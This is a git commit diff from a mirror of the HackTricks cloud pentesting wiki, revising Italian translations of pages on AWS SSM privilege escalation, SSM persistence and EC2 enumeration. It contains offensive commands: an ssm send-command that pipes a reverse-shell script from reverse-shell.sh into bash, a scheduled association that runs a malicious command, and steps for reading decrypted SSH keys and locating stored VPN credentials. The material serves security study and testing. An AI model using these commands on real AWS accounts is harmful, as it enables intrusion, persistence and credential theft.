mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 21:13:45 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p
This commit is contained in:
@@ -12,7 +12,7 @@ Per ulteriori informazioni controlla:
|
||||
|
||||
### Utilizzando ssm:CreateAssociation per la persistenza
|
||||
|
||||
Un attaccante con il permesso ssm:CreateAssociation può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a un backdoor senza sessioni interattive.
|
||||
Un attaccante con il permesso **`ssm:CreateAssociation`** può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a una backdoor senza sessioni interattive.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
@@ -12,7 +12,7 @@ Per ulteriori informazioni su SSM controlla:
|
||||
|
||||
### `ssm:SendCommand`
|
||||
|
||||
Un attaccante con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il ruolo IAM** che vi opera all'interno.
|
||||
Un attaccante con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il ruolo IAM** in esecuzione al suo interno.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
|
||||
```
|
||||
**Impatto Potenziale:** Privilegi di escalation diretti ai ruoli IAM EC2 associati a istanze in esecuzione con agenti SSM attivi.
|
||||
**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati alle istanze in esecuzione con SSM Agents attivi.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'agente Amazon SSM e **compromettere il ruolo IAM** in esecuzione al suo interno.
|
||||
Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il Ruolo IAM** in esecuzione al suo interno.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -51,19 +51,19 @@ aws ssm start-session --target "$INSTANCE_ID"
|
||||
|
||||
#### Privesc a ECS
|
||||
|
||||
Quando le **attività ECS** vengono eseguite con **`ExecuteCommand` abilitato**, gli utenti con permessi sufficienti possono utilizzare `ecs execute-command` per **eseguire un comando** all'interno del contenitore.\
|
||||
Quando i **compiti ECS** vengono eseguiti con **`ExecuteCommand` abilitato**, gli utenti con permessi sufficienti possono utilizzare `ecs execute-command` per **eseguire un comando** all'interno del contenitore.\
|
||||
Secondo [**la documentazione**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), questo avviene creando un canale sicuro tra il dispositivo utilizzato per avviare il comando “_exec_” e il contenitore di destinazione con SSM Session Manager. (Plugin SSM Session Manager necessario affinché questo funzioni)\
|
||||
Pertanto, gli utenti con `ssm:StartSession` saranno in grado di **ottenere una shell all'interno delle attività ECS** con quell'opzione abilitata semplicemente eseguendo:
|
||||
Pertanto, gli utenti con `ssm:StartSession` saranno in grado di **ottenere una shell all'interno dei compiti ECS** con quell'opzione abilitata semplicemente eseguendo:
|
||||
```bash
|
||||
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Impatto Potenziale:** Privesc diretto ai ruoli `ECS`IAM allegati ai task in esecuzione con `ExecuteCommand` abilitato.
|
||||
**Impatto Potenziale:** Privesc diretto ai ruoli `ECS`IAM attaccati ai task in esecuzione con `ExecuteCommand` abilitato.
|
||||
|
||||
### `ssm:ResumeSession`
|
||||
|
||||
Un attaccante con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il Ruolo IAM** in esecuzione al suo interno.
|
||||
Un attaccante con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH in istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il Ruolo IAM** in esecuzione al suo interno.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-sessions
|
||||
@@ -72,7 +72,7 @@ aws ssm describe-sessions
|
||||
aws ssm resume-session \
|
||||
--session-id Mary-Major-07a16060613c408b5
|
||||
```
|
||||
**Impatto Potenziale:** Privilegi di escalation diretti ai ruoli IAM EC2 associati a istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse.
|
||||
**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 attaccati alle istanze in esecuzione con agenti SSM in esecuzione e sessioni disconnesse.
|
||||
|
||||
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
|
||||
|
||||
@@ -87,7 +87,7 @@ aws ssm get-parameter --name id_rsa --with-decryption
|
||||
|
||||
### `ssm:ListCommands`
|
||||
|
||||
Un attaccante con questo permesso può elencare tutti i **comandi** inviati e, si spera, trovare **informazioni sensibili** in essi.
|
||||
Un attaccante con questo permesso può elencare tutti i **comandi** inviati e sperare di trovare **informazioni sensibili** in essi.
|
||||
```
|
||||
aws ssm list-commands
|
||||
```
|
||||
@@ -103,7 +103,21 @@ aws ssm list-command-invocations
|
||||
|
||||
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
|
||||
```
|
||||
**Impatto Potenziale:** Trovare informazioni sensibili all'interno dell'output dei comandi.
|
||||
**Impatto Potenziale:** Trovare informazioni sensibili all'interno dell'output delle righe di comando.
|
||||
|
||||
### Utilizzando ssm:CreateAssociation
|
||||
|
||||
Un attaccante con il permesso **`ssm:CreateAssociation`** può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a un backdoor senza sessioni interattive.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive o permessi espliciti ssm:SendCommand. **Importante:** Il parametro `--schedule-expression` (ad es., `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per l'esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'associazione verrà eseguita una volta dopo la creazione.
|
||||
|
||||
### Codebuild
|
||||
|
||||
|
||||
@@ -29,7 +29,7 @@ Cose interessanti da enumerare in EC2:
|
||||
|
||||
### Instance Profiles
|
||||
|
||||
Utilizzare **ruoli** per concedere permessi alle applicazioni che girano su **istanze EC2** richiede un po' di configurazione aggiuntiva. Un'applicazione in esecuzione su un'istanza EC2 è astratta da AWS dal sistema operativo virtualizzato. A causa di questa separazione aggiuntiva, è necessario un passaggio ulteriore per assegnare un ruolo AWS e i suoi permessi associati a un'istanza EC2 e renderli disponibili alle sue applicazioni.
|
||||
Utilizzare **ruoli** per concedere permessi alle applicazioni che girano su **istanze EC2** richiede un po' di configurazione extra. Un'applicazione in esecuzione su un'istanza EC2 è astratta da AWS dal sistema operativo virtualizzato. A causa di questa separazione extra, è necessario un passaggio aggiuntivo per assegnare un ruolo AWS e i suoi permessi associati a un'istanza EC2 e renderli disponibili alle sue applicazioni.
|
||||
|
||||
Questo passaggio extra è la **creazione di un** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) allegato all'istanza. Il **profilo dell'istanza contiene il ruolo e** può fornire le credenziali temporanee del ruolo a un'applicazione che gira sull'istanza. Queste credenziali temporanee possono quindi essere utilizzate nelle chiamate API dell'applicazione per accedere alle risorse e limitare l'accesso solo a quelle risorse specificate dal ruolo. Nota che **solo un ruolo può essere assegnato a un'istanza EC2** alla volta, e tutte le applicazioni sull'istanza condividono lo stesso ruolo e permessi.
|
||||
|
||||
@@ -194,9 +194,17 @@ Nella pagina seguente puoi controllare come **abuse SSM permissions to escalate
|
||||
../../aws-privilege-escalation/aws-ssm-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Perssistence
|
||||
|
||||
Nella pagina seguente puoi controllare come **abuse SSM permissions to achieve persistence**:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-ssm-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## ELB
|
||||
|
||||
**Elastic Load Balancing** (ELB) è un **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automaticamente **distributes incoming application traffic** e scala le risorse per soddisfare le richieste di traffico.
|
||||
**Elastic Load Balancing** (ELB) è un **load-balancing service for Amazon Web Services** (AWS) deployments. ELB distribuisce automaticamente **incoming application traffic** e scala le risorse per soddisfare le richieste di traffico.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -228,7 +236,7 @@ aws autoscaling describe-load-balancers
|
||||
```
|
||||
## Nitro
|
||||
|
||||
AWS Nitro è una suite di **tecnologie innovative** che formano la piattaforma sottostante per le istanze AWS EC2. Introdotto da Amazon per **migliorare la sicurezza, le prestazioni e l'affidabilità**, Nitro sfrutta **componenti hardware personalizzati e un hypervisor leggero**. Astrae gran parte della funzionalità di virtualizzazione tradizionale su hardware e software dedicati, **minimizzando la superficie di attacco** e migliorando l'efficienza delle risorse. Offloadando le funzioni di virtualizzazione, Nitro consente alle istanze EC2 di offrire **prestazioni quasi bare-metal**, rendendolo particolarmente vantaggioso per applicazioni ad alta intensità di risorse. Inoltre, il Nitro Security Chip garantisce specificamente la **sicurezza dell'hardware e del firmware**, consolidando ulteriormente la sua architettura robusta.
|
||||
AWS Nitro è un insieme di **tecnologie innovative** che formano la piattaforma sottostante per le istanze AWS EC2. Introdotto da Amazon per **migliorare la sicurezza, le prestazioni e l'affidabilità**, Nitro sfrutta **componenti hardware personalizzati e un hypervisor leggero**. Astrae gran parte della funzionalità di virtualizzazione tradizionale su hardware e software dedicati, **minimizzando la superficie di attacco** e migliorando l'efficienza delle risorse. Offloadando le funzioni di virtualizzazione, Nitro consente alle istanze EC2 di offrire **prestazioni quasi bare-metal**, rendendolo particolarmente vantaggioso per applicazioni ad alta intensità di risorse. Inoltre, il Nitro Security Chip garantisce specificamente la **sicurezza dell'hardware e del firmware**, consolidando ulteriormente la sua architettura robusta.
|
||||
|
||||
Ottieni ulteriori informazioni e come enumerarlo da:
|
||||
|
||||
@@ -258,7 +266,7 @@ Una VPN consente di connettere la tua **rete on-premise (site-to-site VPN)** o i
|
||||
- Viene utilizzato per comunicazioni sicure, stabili e coerenti tra il tuo data center o rete e il tuo ambiente AWS.
|
||||
- Tipicamente utilizzato per connessioni regolari e a lungo termine e viene fatturato in base alla quantità di dati trasferiti attraverso la connessione.
|
||||
4. **Client VPN Endpoint**:
|
||||
- Un endpoint Client VPN è una risorsa che crei in AWS per abilitare e gestire le sessioni VPN client.
|
||||
- Un Client VPN endpoint è una risorsa che crei in AWS per abilitare e gestire le sessioni VPN client.
|
||||
- Viene utilizzato per consentire a singoli dispositivi (come laptop, smartphone, ecc.) di connettersi in modo sicuro alle risorse AWS o alla tua rete on-premises.
|
||||
- Si differenzia dalla Site-to-Site VPN in quanto è progettato per clienti individuali piuttosto che per connettere intere reti.
|
||||
- Con Client VPN, ogni dispositivo client utilizza un software client VPN per stabilire una connessione sicura.
|
||||
@@ -293,7 +301,7 @@ aws ec2 describe-vpn-connections
|
||||
|
||||
**Credenziali Temporanee Locali**
|
||||
|
||||
Quando si utilizza il Client VPN AWS per connettersi a una VPN, l'utente di solito **effettua il login in AWS** per accedere alla VPN. Poi, alcune **credenziali AWS vengono create e memorizzate** localmente per stabilire la connessione VPN. Queste credenziali sono **memorizzate in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` e contengono un **AccessKey**, un **SecretKey** e un **Token**.
|
||||
Quando il Client VPN AWS viene utilizzato per connettersi a una VPN, l'utente di solito **effettua il login in AWS** per ottenere accesso alla VPN. Poi, alcune **credenziali AWS vengono create e memorizzate** localmente per stabilire la connessione VPN. Queste credenziali sono **memorizzate in** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` e contengono un **AccessKey**, un **SecretKey** e un **Token**.
|
||||
|
||||
Le credenziali appartengono all'utente `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: ricerca ulteriori informazioni sui permessi di queste credenziali).
|
||||
|
||||
|
||||
Reference in New Issue
Block a user